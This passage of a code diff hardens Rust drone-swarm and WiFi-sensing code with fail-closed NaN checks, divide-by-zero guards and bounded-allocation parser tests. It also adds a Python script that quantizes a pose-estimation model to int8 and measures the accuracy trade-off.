/// than being treated as a healthy battery. Fails on old code where
|
||||
/// `NaN <= battery_rth_pct` is `false` and the drone stays Nominal.
|
||||
#[test]
|
||||
fn test_nan_battery_fails_closed_to_rth() {
|
||||
let mut fsm = FailSafeMachine::new();
|
||||
let mut s = good_state();
|
||||
s.battery_pct = f32::NAN;
|
||||
let result = fsm.tick(&s, true, 10.0);
|
||||
assert_eq!(
|
||||
result,
|
||||
FailSafeState::ReturnToHome,
|
||||
"non-finite battery must fail closed to ReturnToHome"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -59,8 +59,16 @@ impl FhssRadio {
|
||||
}
|
||||
|
||||
/// Returns the current active channel frequency in MHz.
|
||||
///
|
||||
/// `FhssConfig` is `Deserialize`, so `channels_mhz` can arrive empty from a
|
||||
/// malformed or hostile config. An empty channel list would make `% n`
|
||||
/// (n = 0) panic with a divide-by-zero. Guard it and return a benign `0.0`
|
||||
/// sentinel instead of crashing the radio task (DoS-resistance).
|
||||
pub fn current_channel_mhz(&self) -> f64 {
|
||||
let n = self.config.channels_mhz.len();
|
||||
if n == 0 {
|
||||
return 0.0;
|
||||
}
|
||||
// XOR node seed into hop index so each node uses a different offset
|
||||
let idx = (self.hop_index ^ (self.node_seed as usize)) % n;
|
||||
self.config.channels_mhz[idx]
|
||||
@@ -68,7 +76,11 @@ impl FhssRadio {
|
||||
|
||||
/// Advance the hop sequence by one step (call at hop_rate_hz).
|
||||
pub fn next_hop(&mut self) {
|
||||
self.hop_index = (self.hop_index + 1) % self.config.channels_mhz.len();
|
||||
let n = self.config.channels_mhz.len();
|
||||
if n == 0 {
|
||||
return; // no channels configured — nothing to hop (avoid `% 0` panic)
|
||||
}
|
||||
self.hop_index = (self.hop_index + 1) % n;
|
||||
}
|
||||
|
||||
/// Update with latest RSSI measurement. Drives jamming detection.
|
||||
@@ -97,9 +109,13 @@ impl FhssRadio {
|
||||
.wrapping_mul(lcg_a)
|
||||
.wrapping_add(self.evasion_count)
|
||||
.wrapping_add(lcg_c);
|
||||
let n = self.config.channels_mhz.len() as u64;
|
||||
let len = self.config.channels_mhz.len();
|
||||
if len == 0 {
|
||||
return; // no channels configured — avoid `% 0` panic
|
||||
}
|
||||
let n = len as u64;
|
||||
let offset = (seed % n / 4 + 3) as usize;
|
||||
self.hop_index = (self.hop_index + offset) % self.config.channels_mhz.len();
|
||||
self.hop_index = (self.hop_index + offset) % len;
|
||||
self.evasion_count += 1;
|
||||
self.rssi_history.clear();
|
||||
}
|
||||
@@ -165,6 +181,23 @@ mod tests {
|
||||
assert_eq!(radio.hop_index, (initial_idx + 2) % 50);
|
||||
}
|
||||
|
||||
/// Security/DoS: an empty `channels_mhz` (deserialized from a malformed or
|
||||
/// hostile config) must not panic with a `% 0` divide-by-zero. Fails on old
|
||||
/// code, where `next_hop`/`current_channel_mhz`/`evasive_hop`/`tick` all do
|
||||
/// modulo / index by `channels_mhz.len()`.
|
||||
#[test]
|
||||
fn test_empty_channels_does_not_panic() {
|
||||
let cfg = FhssConfig { channels_mhz: vec![], jamming_detect_window: 1, ..Default::default() };
|
||||
let mut radio = FhssRadio::new(7, cfg);
|
||||
// None of these may panic.
|
||||
let _ = radio.current_channel_mhz();
|
||||
radio.next_hop();
|
||||
radio.observe_rssi(-99.0); // window=1 → jamming_detected() true → evasive_hop()
|
||||
radio.tick(100.0);
|
||||
radio.evasive_hop();
|
||||
assert_eq!(radio.current_channel_mhz(), 0.0, "empty channel list returns sentinel");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_channel_in_valid_range() {
|
||||
let cfg = FhssConfig::default();
|
||||
|
||||
@@ -27,6 +27,16 @@ pub enum GeofenceResult {
|
||||
impl Geofence {
|
||||
/// Check a position against this geofence.
|
||||
pub fn check(&self, pos: &Position3D) -> GeofenceResult {
|
||||
// Fail CLOSED on a non-finite position. A NaN/Inf component (from a
|
||||
// corrupt GPS/EKF estimate or a forged position) makes every subsequent
|
||||
// comparison false: `NaN < min || NaN > max` is `false`, so the altitude
|
||||
// breach is skipped, and a NaN altitude with otherwise-valid x/y would
|
||||
// return `Safe` — a silent geofence bypass on a flight-safety boundary.
|
||||
// Treat any non-finite coordinate as a hard breach.
|
||||
if !pos.x.is_finite() || !pos.y.is_finite() || !pos.z.is_finite() {
|
||||
return GeofenceResult::HardBreach;
|
||||
}
|
||||
|
||||
let altitude_m = -pos.z; // NED: negative z = altitude above ground
|
||||
|
||||
// Altitude check
|
||||
@@ -146,4 +156,29 @@ mod tests {
|
||||
let pos = Position3D { x: 50.0, y: 50.0, z: -200.0 }; // 200m altitude
|
||||
assert_eq!(f.check(&pos), GeofenceResult::HardBreach);
|
||||
}
|
||||
|
||||
/// Security: a NaN altitude with an otherwise in-bounds x/y must fail closed
|
||||
/// to HardBreach. Fails on old code where `NaN < min || NaN > max` is `false`,
|
||||
/// the altitude check is skipped, and the point-in-polygon path returns Safe —
|
||||
/// a silent geofence bypass.
|
||||
#[test]
|
||||
fn test_nan_altitude_fails_closed() {
|
||||
let f = square_fence();
|
||||
let pos = Position3D { x: 50.0, y: 50.0, z: f64::NAN };
|
||||
assert_eq!(f.check(&pos), GeofenceResult::HardBreach);
|
||||
}
|
||||
|
||||
/// Security: NaN/Inf horizontal coordinates must also fail closed.
|
||||
#[test]
|
||||
fn test_nonfinite_horizontal_fails_closed() {
|
||||
let f = square_fence();
|
||||
assert_eq!(
|
||||
f.check(&Position3D { x: f64::NAN, y: 50.0, z: -30.0 }),
|
||||
GeofenceResult::HardBreach
|
||||
);
|
||||
assert_eq!(
|
||||
f.check(&Position3D { x: 50.0, y: f64::INFINITY, z: -30.0 }),
|
||||
GeofenceResult::HardBreach
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -64,10 +64,25 @@ impl MultiViewFusion {
|
||||
detections: &[CsiDetection],
|
||||
drone_positions: &[(NodeId, Position3D)],
|
||||
) -> Option<FusedDetection> {
|
||||
// Filter by confidence and require estimated position
|
||||
// Filter by confidence and require a FINITE estimated position.
|
||||
//
|
||||
// A peer detection (received via `receive_peer_detection`) carries f32/f64
|
||||
// fields that can deserialize to NaN/Inf. A NaN `victim_position` passes
|
||||
// `is_some()` and would propagate through the confidence-weighted average
|
||||
// into the fused position — dispatching a NaN "confirmed victim" location
|
||||
// to the swarm. A NaN `confidence` is already rejected by `>= min_confidence`
|
||||
// (NaN comparisons are false), but we make that explicit and also require
|
||||
// the victim position components to be finite. Fail CLOSED: drop poisoned
|
||||
// detections rather than fusing them.
|
||||
let valid: Vec<(&CsiDetection, &Position3D)> = detections
|
||||
.iter()
|
||||
.filter(|d| d.confidence >= self.min_confidence && d.victim_position.is_some())
|
||||
.filter(|d| {
|
||||
d.confidence.is_finite()
|
||||
&& d.confidence >= self.min_confidence
|
||||
&& d.victim_position
|
||||
.map(|p| p.x.is_finite() && p.y.is_finite() && p.z.is_finite())
|
||||
.unwrap_or(false)
|
||||
})
|
||||
.filter_map(|d| {
|
||||
let drone_pos = drone_positions
|
||||
.iter()
|
||||
@@ -177,4 +192,46 @@ mod tests {
|
||||
result.uncertainty_m
|
||||
);
|
||||
}
|
||||
|
||||
/// Security: a detection with a NaN victim position (poisoned peer report)
|
||||
/// must be dropped, not fused. Fails on old code where the NaN propagates
|
||||
/// into the confidence-weighted average and the fused position is NaN.
|
||||
#[test]
|
||||
fn test_nan_victim_position_dropped_from_fusion() {
|
||||
let fusion = MultiViewFusion { min_viewpoints: 2, min_confidence: 0.5 };
|
||||
let detections = vec![
|
||||
CsiDetection {
|
||||
drone_id: NodeId(0),
|
||||
confidence: 0.9,
|
||||
victim_position: Some(Position3D { x: 50.0, y: 50.0, z: 0.0 }),
|
||||
timestamp_ms: 0,
|
||||
},
|
||||
CsiDetection {
|
||||
drone_id: NodeId(1),
|
||||
confidence: 0.9,
|
||||
victim_position: Some(Position3D { x: f64::NAN, y: 50.0, z: 0.0 }),
|
||||
timestamp_ms: 0,
|
||||
},
|
||||
CsiDetection {
|
||||
drone_id: NodeId(2),
|
||||
confidence: 0.9,
|
||||
victim_position: Some(Position3D { x: 50.0, y: 50.0, z: 0.0 }),
|
||||
timestamp_ms: 0,
|
||||
},
|
||||
];
|
||||
let positions = vec![
|
||||
(NodeId(0), Position3D { x: 0.0, y: 0.0, z: -30.0 }),
|
||||
(NodeId(1), Position3D { x: 100.0, y: 0.0, z: -30.0 }),
|
||||
(NodeId(2), Position3D { x: 50.0, y: 86.6, z: -30.0 }),
|
||||
];
|
||||
// Two finite viewpoints remain → still fuses, but the result must be finite.
|
||||
let result = fusion.fuse(&detections, &positions).unwrap();
|
||||
assert!(
|
||||
result.estimated_position.x.is_finite()
|
||||
&& result.estimated_position.y.is_finite()
|
||||
&& result.estimated_position.z.is_finite(),
|
||||
"fused position must be finite when a NaN detection is present"
|
||||
);
|
||||
assert!(!result.contributing_drones.contains(&NodeId(1)), "NaN detection must be excluded");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -471,6 +471,54 @@ mod tests {
|
||||
assert!(ht.record(&f).is_err());
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06, ADR-127): the UDP parser is the CLI's
|
||||
/// widest attack surface — `calibrate` / `enroll` / `room-watch` bind it to
|
||||
/// 0.0.0.0 by default, so any host on the LAN can send arbitrary bytes. A
|
||||
/// header that *claims* a huge `n_antennas * n_subcarriers` must be rejected
|
||||
/// by the length check BEFORE the `Array2::zeros` allocation, so a single
|
||||
/// small datagram can never trigger a multi-MB allocation (unbounded-memory
|
||||
/// DoS). The largest possible claim (255 × 65535 pairs ≈ 33 MB of IQ) inside
|
||||
/// a RECV_BUF-sized (2048-byte) datagram parses to `None`, never OOMs.
|
||||
#[test]
|
||||
fn test_parse_csi_packet_oversized_claim_is_rejected_not_allocated() {
|
||||
let mut buf = vec![0u8; RECV_BUF];
|
||||
buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
|
||||
buf[4] = 1; // node_id
|
||||
buf[5] = 255; // n_antennas (max)
|
||||
buf[6..8].copy_from_slice(&65535u16.to_le_bytes()); // n_subcarriers (max)
|
||||
buf[8..12].copy_from_slice(&2432u32.to_le_bytes());
|
||||
// n_pairs = 255 * 65535 = 16_711_425 → needs ~33 MB of IQ bytes that a
|
||||
// 2048-byte datagram cannot carry → length check fails → None.
|
||||
assert!(parse_csi_packet(&buf, "ht20").is_none());
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06): the parser must never panic on ANY byte
|
||||
/// string — truncated headers, lying length fields, odd sizes. IQ-loop
|
||||
/// indexing is guarded by the length check; this sweeps a spread of
|
||||
/// adversarial inputs to lock in panic-on-adversarial-input = 0.
|
||||
#[test]
|
||||
fn test_parse_csi_packet_never_panics_on_arbitrary_bytes() {
|
||||
let mut st = 0x1234_5678u64;
|
||||
let mut next = move || {
|
||||
st = st
|
||||
.wrapping_mul(6_364_136_223_846_793_005)
|
||||
.wrapping_add(1_442_695_040_888_963_407);
|
||||
(st >> 33) as u8
|
||||
};
|
||||
for len in 0..600usize {
|
||||
let buf: Vec<u8> = (0..len).map(|_| next()).collect();
|
||||
for tier in ["ht20", "he20", "garbage"] {
|
||||
let _ = parse_csi_packet(&buf, tier);
|
||||
}
|
||||
}
|
||||
// Valid magic, lying n_subcarriers, no payload → None (not a panic).
|
||||
let mut buf = vec![0u8; 20];
|
||||
buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
|
||||
buf[5] = 3;
|
||||
buf[6..8].copy_from_slice(&500u16.to_le_bytes());
|
||||
assert!(parse_csi_packet(&buf, "ht20").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_freq_to_channel_24ghz() {
|
||||
assert_eq!(freq_mhz_to_channel(2437), 6);
|
||||
|
||||
@@ -1636,6 +1636,67 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06, ADR-127) — `from_canonical_bytes` is a
|
||||
/// deserialisation boundary for replayed/forwarded captures. A forged header
|
||||
/// advertising an enormous `rows × cols` must be rejected by the
|
||||
/// shape-vs-length check (`expect` uses saturating multiplies) BEFORE the
|
||||
/// `Vec::with_capacity(rows * cols)` allocation — otherwise an attacker could
|
||||
/// drive a multi-GB allocation from a few header bytes (unbounded-memory
|
||||
/// DoS). The check guarantees `rows*cols*16 <= bytes.len()`, so the capacity
|
||||
/// is bounded by the input the caller already holds. This must not OOM.
|
||||
#[test]
|
||||
fn canonical_decode_oversized_shape_is_bounded_not_allocated() {
|
||||
use ndarray::Array2;
|
||||
let meta = CsiMetadata::new(DeviceId::new("n"), FrequencyBand::Band2_4GHz, 1);
|
||||
let data = Array2::from_shape_fn((1, 2), |(_, c)| Complex64::new(c as f64, 0.0));
|
||||
let mut bytes = CsiFrame::new(meta, data).to_canonical_bytes();
|
||||
|
||||
// The (rows, cols) u32 pair is the last 8 bytes before the payload.
|
||||
// Overwrite with a maximal claim (u32::MAX × u32::MAX) and lop off the
|
||||
// payload so the buffer is tiny but the header lies enormously.
|
||||
let shape_off = bytes.len() - 8 - 2 * 16; // 2 samples × 16 bytes payload
|
||||
bytes[shape_off..shape_off + 4].copy_from_slice(&u32::MAX.to_le_bytes());
|
||||
bytes[shape_off + 4..shape_off + 8].copy_from_slice(&u32::MAX.to_le_bytes());
|
||||
bytes.truncate(shape_off + 8); // drop the real payload
|
||||
|
||||
// expect = MAX*MAX*16 (saturated) > found → PayloadMismatch, no alloc.
|
||||
assert!(matches!(
|
||||
CsiFrame::from_canonical_bytes(&bytes),
|
||||
Err(CanonicalDecodeError::PayloadMismatch { .. })
|
||||
));
|
||||
}
|
||||
|
||||
/// Security pin (review 2026-06) — the decoder must never panic on arbitrary
|
||||
/// bytes: every malformed input is a typed `CanonicalDecodeError`, never an
|
||||
/// unwinding panic (panic-on-adversarial-input = 0). Sweep truncations and a
|
||||
/// deterministic fuzz spread.
|
||||
#[test]
|
||||
fn canonical_decode_never_panics_on_arbitrary_bytes() {
|
||||
use ndarray::Array2;
|
||||
let mut meta = CsiMetadata::new(DeviceId::new("node"), FrequencyBand::Band5GHz, 36);
|
||||
meta.antenna_config.spacing_mm = Some(50.0);
|
||||
let data = Array2::from_shape_fn((2, 8), |(r, c)| Complex64::new(r as f64, c as f64));
|
||||
let good = CsiFrame::new(meta, data).to_canonical_bytes();
|
||||
|
||||
// Every prefix of a valid encoding must decode without panicking.
|
||||
for n in 0..good.len() {
|
||||
let _ = CsiFrame::from_canonical_bytes(&good[..n]);
|
||||
}
|
||||
// Deterministic LCG fuzz over varied lengths.
|
||||
let mut st = 0xDEAD_BEEFu64;
|
||||
for len in 0..400usize {
|
||||
let buf: Vec<u8> = (0..len)
|
||||
.map(|_| {
|
||||
st = st
|
||||
.wrapping_mul(6_364_136_223_846_793_005)
|
||||
.wrapping_add(1_442_695_040_888_963_407);
|
||||
(st >> 33) as u8
|
||||
})
|
||||
.collect();
|
||||
let _ = CsiFrame::from_canonical_bytes(&buf);
|
||||
}
|
||||
}
|
||||
|
||||
/// AC8c (review finding 7) — `Some(Uuid::nil())` calibration is an
|
||||
/// encoding error: nil is the wire sentinel for `None`, so encoding it
|
||||
/// would alias two distinct frames to one byte string (and one witness).
|
||||
|
||||
@@ -220,6 +220,9 @@ fn create_test_sensors(count: usize) -> Vec<SensorPosition> {
|
||||
z: 1.5,
|
||||
sensor_type: SensorType::Transceiver,
|
||||
is_operational: true,
|
||||
// No live RSSI plumbed for synthetic bench sensors (simulated
|
||||
// zone) — localization must not fabricate one.
|
||||
last_rssi: None,
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
|
||||
@@ -0,0 +1,294 @@
|
||||
#!/usr/bin/env python3
|
||||
"""ADR-175: int8 quantization of the WiFlow-STD "half" pose model + MEASURED accuracy/size trade-off.
|
||||
|
||||
Sub-deliverable 8.2 of the benchmark/optimization milestone. Quantizes the 843,834-param
|
||||
"half" WiFlow-STD pose model to int8 (QAT primary, static-PTQ fallback) and MEASURES the
|
||||
accuracy delta against the fp32 baseline under ONE locked PCK normalization.
|
||||
|
||||
LOCKED NORMALIZATION (ADR-173): torso-diameter PCK — neck(idx 2)->pelvis(idx 12) distance,
|
||||
exactly the default `use_torso_norm=True` path of upstream `utils/metrics.calculate_pck`,
|
||||
which is the standard MM-Fi/GraphPose-Fi convention. The SAME `calculate_pck` /
|
||||
`calculate_mpjpe` from the upstream harness scores BOTH fp32 and int8 so the comparison is
|
||||
metric-locked. The test split is the seed-42 file-level 70/15/15 test partition (54,000
|
||||
windows full / 52,560 NaN-free) produced by the SAME loader that produced half_best.pth.
|
||||
|
||||
int8 backend: FX graph-mode quantization, fbgemm engine (server x86 int8). Quantized int8
|
||||
kernels execute on CPU, so int8 eval is CPU; an fp32-CPU baseline is also measured so the
|
||||
accuracy delta is device-matched (CPU fp32 vs CPU int8), and an fp32-GPU number is reported
|
||||
for continuity with the sweep's recorded numbers.
|
||||
|
||||
REPRODUCE (exact command run for ADR-175, run date 2026-06-15, on host ruvultra / RTX 5080):
|
||||
ssh ruvultra 'cd ~/wiflow-std-bench && source venv/bin/activate && \
|
||||
python ~/quantize_half_int8.py --mode both --qat-epochs 3 2>&1'
|
||||
|
||||
(the script lives in-repo at v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py;
|
||||
it was scp'd to ~/quantize_half_int8.py on ruvultra and invoked as above. It is read-only
|
||||
to everything under ~/wiflow-std-bench except that it WRITES its int8 artifacts + a JSON
|
||||
results file into ~/wiflow-std-bench/sweep/int8/ — it never modifies half_best.pth or any
|
||||
upstream file.)
|
||||
|
||||
Everything this script prints to stdout is MEASURED. Nothing is estimated.
|
||||
"""
|
||||
import argparse
|
||||
import copy
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import sys
|
||||
import time
|
||||
|
||||
import numpy as np
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
from torch.utils.data import DataLoader, Subset
|
||||
|
||||
BENCH = os.path.expanduser('~/wiflow-std-bench')
|
||||
SWEEP = os.path.join(BENCH, 'sweep')
|
||||
OUTDIR = os.path.join(SWEEP, 'int8')
|
||||
sys.path.insert(0, os.path.join(BENCH, 'upstream'))
|
||||
sys.path.insert(0, SWEEP)
|
||||
|
||||
from dataset import (PreprocessedCSIKeypointsDataset, # noqa: E402
|
||||
create_preprocessed_train_val_test_loaders)
|
||||
from losses.pose_loss import PoseLoss # noqa: E402
|
||||
from utils.metrics import calculate_pck, calculate_mpjpe # noqa: E402 LOCKED metric (torso norm)
|
||||
from model_compact import CompactWiFlowPoseModel, describe # noqa: E402
|
||||
|
||||
# half variant config — IDENTICAL to sweep/run_sweep.py VARIANTS[0] that produced half_best.pth
|
||||
HALF = dict(tcn=[270, 220, 170, 120], conv=[4, 8, 16, 32], attn_groups=4,
|
||||
groups_mode='gcd20', input_pw_groups=1)
|
||||
HALF_CKPT = os.path.join(SWEEP, 'half_best.pth')
|
||||
CORRUPT_FILE_START = 487 # files 487-499 were zero-filled by clean_nan.py (same as sweep)
|
||||
SEED = 42
|
||||
THRESHOLDS = (0.1, 0.2, 0.3, 0.4, 0.5) # PCK@10..50
|
||||
|
||||
|
||||
def set_seed(seed=SEED):
|
||||
random.seed(seed)
|
||||
np.random.seed(seed)
|
||||
torch.manual_seed(seed)
|
||||
torch.cuda.manual_seed_all(seed)
|
||||
torch.backends.cudnn.deterministic = True
|
||||
torch.backends.cudnn.benchmark = False
|
||||
|
||||
|
||||
def build_half(dropout=0.5):
|
||||
return CompactWiFlowPoseModel(
|
||||
tcn_channels=HALF['tcn'], conv_channels=HALF['conv'],
|
||||
attn_groups=HALF['attn_groups'], groups_mode=HALF['groups_mode'],
|
||||
input_pw_groups=HALF['input_pw_groups'], dropout=dropout)
|
||||
|
||||
|
||||
@torch.no_grad()
|
||||
def evaluate(model, loader, device):
|
||||
"""MEASURED PCK@10..50 + MPJPE under the LOCKED torso-diameter normalization."""
|
||||
model.eval()
|
||||
totals = {t: 0.0 for t in THRESHOLDS}
|
||||
total_mpe, n = 0.0, 0
|
||||
for bx, by in loader:
|
||||
bx, by = bx.to(device), by.to(device)
|
||||
out = model(bx)
|
||||
bs = by.size(0)
|
||||
total_mpe += calculate_mpjpe(out, by) * bs
|
||||
pck = calculate_pck(out, by, thresholds=list(totals)) # use_torso_norm=True default
|
||||
for t in totals:
|
||||
totals[t] += pck[t] * bs
|
||||
n += bs
|
||||
return {'samples': n, 'mpjpe': total_mpe / n,
|
||||
**{f'pck@{int(t * 100)}': totals[t] / n for t in totals}}
|
||||
|
||||
|
||||
def file_size_mb(path):
|
||||
return os.path.getsize(path) / (1024 * 1024)
|
||||
|
||||
|
||||
def state_dict_size_mb(model, path):
|
||||
"""On-disk size of the *quantized* checkpoint (int8 weights are packed by fbgemm)."""
|
||||
torch.save(model.state_dict(), path)
|
||||
return file_size_mb(path)
|
||||
|
||||
|
||||
def loaders():
|
||||
set_seed(SEED)
|
||||
data_dir = os.path.join(BENCH, 'preprocessed_csi_data')
|
||||
dataset = PreprocessedCSIKeypointsDataset(data_dir=data_dir, keypoint_scale=1000.0,
|
||||
enable_temporal_clean=True)
|
||||
train_loader, val_loader, test_loader = create_preprocessed_train_val_test_loaders(
|
||||
dataset=dataset, batch_size=64, num_workers=2, random_seed=SEED)
|
||||
return dataset, train_loader, val_loader, test_loader
|
||||
|
||||
|
||||
def clean_loader_from(dataset, test_loader, bs=256):
|
||||
w2f = dataset.window_to_file
|
||||
clean_idx = [i for i in test_loader.dataset.indices if w2f[i] < CORRUPT_FILE_START]
|
||||
return DataLoader(Subset(dataset, clean_idx), batch_size=bs, shuffle=False, num_workers=2)
|
||||
|
||||
|
||||
def eval_loaders(dataset, test_loader, bs=256):
|
||||
full = DataLoader(test_loader.dataset, batch_size=bs, shuffle=False, num_workers=2)
|
||||
clean = clean_loader_from(dataset, test_loader, bs=bs)
|
||||
return full, clean
|
||||
|
||||
|
||||
# --------------------------------------------------------------- int8 paths (FX graph mode)
|
||||
def ptq_static(fp32_model, train_loader, calib_batches=64):
|
||||
"""Static post-training quantization, FX graph mode, fbgemm. CPU int8."""
|
||||
from torch.ao.quantization import get_default_qconfig, QConfigMapping
|
||||
from torch.ao.quantization.quantize_fx import prepare_fx, convert_fx
|
||||
torch.backends.quantized.engine = 'fbgemm'
|
||||
m = copy.deepcopy(fp32_model).cpu().eval()
|
||||
qconfig = get_default_qconfig('fbgemm')
|
||||
qmap = QConfigMapping().set_global(qconfig)
|
||||
example = torch.randn(1, 540, 20)
|
||||
prepared = prepare_fx(m, qmap, example_inputs=(example,))
|
||||
prepared.eval()
|
||||
with torch.no_grad():
|
||||
for i, (bx, _) in enumerate(train_loader):
|
||||
prepared(bx.cpu())
|
||||
if i + 1 >= calib_batches:
|
||||
break
|
||||
return convert_fx(prepared)
|
||||
|
||||
|
||||
def qat(fp32_model, train_loader, val_loader, device, epochs=3, lr=2e-5):
|
||||
"""Quantization-aware training, FX graph mode, fbgemm. Fine-tune fake-quant from fp32, convert. CPU int8."""
|
||||
from torch.ao.quantization import get_default_qat_qconfig, QConfigMapping
|
||||
from torch.ao.quantization.quantize_fx import prepare_qat_fx, convert_fx
|
||||
torch.backends.quantized.engine = 'fbgemm'
|
||||
set_seed(SEED)
|
||||
m = copy.deepcopy(fp32_model).to(device).train()
|
||||
qconfig = get_default_qat_qconfig('fbgemm')
|
||||
qmap = QConfigMapping().set_global(qconfig)
|
||||
example = torch.randn(1, 540, 20).to(device)
|
||||
prepared = prepare_qat_fx(m, qmap, example_inputs=(example,))
|
||||
prepared.to(device)
|
||||
|
||||
criterion = PoseLoss(position_weight=1.0, bone_weight=0.2, loss_type='smooth_l1')
|
||||
opt = torch.optim.AdamW(prepared.parameters(), lr=lr, weight_decay=5e-5, betas=(0.9, 0.999))
|
||||
|
||||
best_val = float('inf')
|
||||
best_state = None
|
||||
for ep in range(1, epochs + 1):
|
||||
prepared.train()
|
||||
t0 = time.time()
|
||||
ep_loss, nb = 0.0, 0
|
||||
for bx, by in train_loader:
|
||||
bx, by = bx.to(device), by.to(device)
|
||||
opt.zero_grad(set_to_none=True)
|
||||
out = prepared(bx)
|
||||
loss, _ = criterion(out, by)
|
||||
if not torch.isfinite(loss):
|
||||
continue
|
||||
loss.backward()
|
||||
opt.step()
|
||||
ep_loss += loss.item()
|
||||
nb += 1
|
||||
# eval the fake-quant model on GPU (proxy for int8) to pick the best epoch
|
||||
prepared.eval()
|
||||
v = evaluate(prepared, val_loader, device)
|
||||
print(f"[qat] epoch {ep}/{epochs} train_loss={ep_loss / max(nb,1):.5f} "
|
||||
f"val_mpjpe(fakequant)={v['mpjpe']:.5f} val_pck20={v['pck@20']*100:.2f}% "
|
||||
f"({time.time()-t0:.0f}s)", flush=True)
|
||||
if v['mpjpe'] < best_val:
|
||||
best_val = v['mpjpe']
|
||||
best_state = copy.deepcopy(prepared.state_dict())
|
||||
if best_state is not None:
|
||||
prepared.load_state_dict(best_state)
|
||||
prepared.cpu().eval()
|
||||
return convert_fx(prepared)
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument('--mode', choices=['ptq', 'qat', 'both'], default='both')
|
||||
ap.add_argument('--qat-epochs', type=int, default=3)
|
||||
ap.add_argument('--calib-batches', type=int, default=64)
|
||||
args = ap.parse_args()
|
||||
os.makedirs(OUTDIR, exist_ok=True)
|
||||
|
||||
cuda = torch.device('cuda')
|
||||
cpu = torch.device('cpu')
|
||||
print(f"torch {torch.__version__} | cuda {torch.cuda.get_device_name(0)} | "
|
||||
f"quantized.engine candidates {torch.backends.quantized.supported_engines}", flush=True)
|
||||
|
||||
dataset, train_loader, val_loader, test_loader = loaders()
|
||||
test_full, test_clean = eval_loaders(dataset, test_loader)
|
||||
|
||||
# ---------- fp32 baseline (loads half_best.pth strict; same arch as sweep) ----------
|
||||
fp32 = build_half().eval()
|
||||
state = torch.load(HALF_CKPT, map_location='cpu', weights_only=True)
|
||||
fp32.load_state_dict(state, strict=True)
|
||||
fp32_size = file_size_mb(HALF_CKPT)
|
||||
params = describe(fp32)['params']
|
||||
print(f"\n=== fp32 baseline: half_best.pth | params={params:,} | "
|
||||
f"on-disk={fp32_size:.3f} MB ===", flush=True)
|
||||
|
||||
results = {
|
||||
'host': os.uname().nodename, 'gpu': torch.cuda.get_device_name(0),
|
||||
'torch': torch.__version__, 'date_utc': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()),
|
||||
'locked_normalization': 'torso-diameter (neck idx2 -> pelvis idx12), '
|
||||
'upstream calculate_pck use_torso_norm=True (ADR-173 standard)',
|
||||
'checkpoint': HALF_CKPT, 'params': params, 'fp32_size_mb': fp32_size,
|
||||
'test_split': 'seed-42 file-level 70/15/15 test (full 54000 / clean 52560)',
|
||||
'fp32': {}, 'int8': {},
|
||||
}
|
||||
|
||||
fp32_gpu = build_half().to(cuda).eval()
|
||||
fp32_gpu.load_state_dict(state, strict=True)
|
||||
print('[fp32/gpu] full ...', flush=True)
|
||||
results['fp32']['gpu_full'] = evaluate(fp32_gpu, test_full, cuda)
|
||||
print(json.dumps(results['fp32']['gpu_full']), flush=True)
|
||||
print('[fp32/gpu] clean ...', flush=True)
|
||||
results['fp32']['gpu_clean'] = evaluate(fp32_gpu, test_clean, cuda)
|
||||
print(json.dumps(results['fp32']['gpu_clean']), flush=True)
|
||||
|
||||
print('[fp32/cpu] full (device-matched ref for int8) ...', flush=True)
|
||||
results['fp32']['cpu_full'] = evaluate(fp32.to(cpu), test_full, cpu)
|
||||
print(json.dumps(results['fp32']['cpu_full']), flush=True)
|
||||
print('[fp32/cpu] clean ...', flush=True)
|
||||
results['fp32']['cpu_clean'] = evaluate(fp32.to(cpu), test_clean, cpu)
|
||||
print(json.dumps(results['fp32']['cpu_clean']), flush=True)
|
||||
|
||||
# ---------- int8 ----------
|
||||
def measure_int8(label, qmodel):
|
||||
path = os.path.join(OUTDIR, f'half_int8_{label}.pth')
|
||||
size = state_dict_size_mb(qmodel, path)
|
||||
print(f"[int8/{label}] on-disk={size:.3f} MB | full ...", flush=True)
|
||||
full = evaluate(qmodel, test_full, cpu)
|
||||
print(json.dumps(full), flush=True)
|
||||
print(f"[int8/{label}] clean ...", flush=True)
|
||||
clean = evaluate(qmodel, test_clean, cpu)
|
||||
print(json.dumps(clean), flush=True)
|
||||
results['int8'][label] = {'size_mb': size, 'checkpoint': path,
|
||||
'cpu_full': full, 'cpu_clean': clean}
|
||||
|
||||
if args.mode in ('ptq', 'both'):
|
||||
print("\n=== int8 PTQ (static, FX, fbgemm) ===", flush=True)
|
||||
qp = ptq_static(fp32.to(cpu).eval(), train_loader, calib_batches=args.calib_batches)
|
||||
measure_int8('ptq_static', qp)
|
||||
|
||||
if args.mode in ('qat', 'both'):
|
||||
print(f"\n=== int8 QAT (FX, fbgemm, {args.qat_epochs} epochs from half_best) ===", flush=True)
|
||||
qq = qat(fp32, train_loader, val_loader, cuda, epochs=args.qat_epochs)
|
||||
measure_int8('qat', qq)
|
||||
|
||||
out = os.path.join(OUTDIR, 'int8_results.json')
|
||||
with open(out, 'w') as f:
|
||||
json.dump(results, f, indent=2)
|
||||
print('\nwrote', out, flush=True)
|
||||
|
||||
# ---------- comparison table (MEASURED) ----------
|
||||
print("\n================= MEASURED COMPARISON (clean test subset, torso-PCK) =================", flush=True)
|
||||
base = results['fp32']['cpu_clean']
|
||||
print(f"{'model':16s} {'size_MB':>8s} {'pck@20':>8s} {'pck@50':>8s} {'mpjpe':>9s}", flush=True)
|
||||
print(f"{'fp32 (cpu)':16s} {fp32_size:8.3f} {base['pck@20']*100:7.2f}% {base['pck@50']*100:7.2f}% {base['mpjpe']:9.6f}", flush=True)
|
||||
for label, r in results['int8'].items():
|
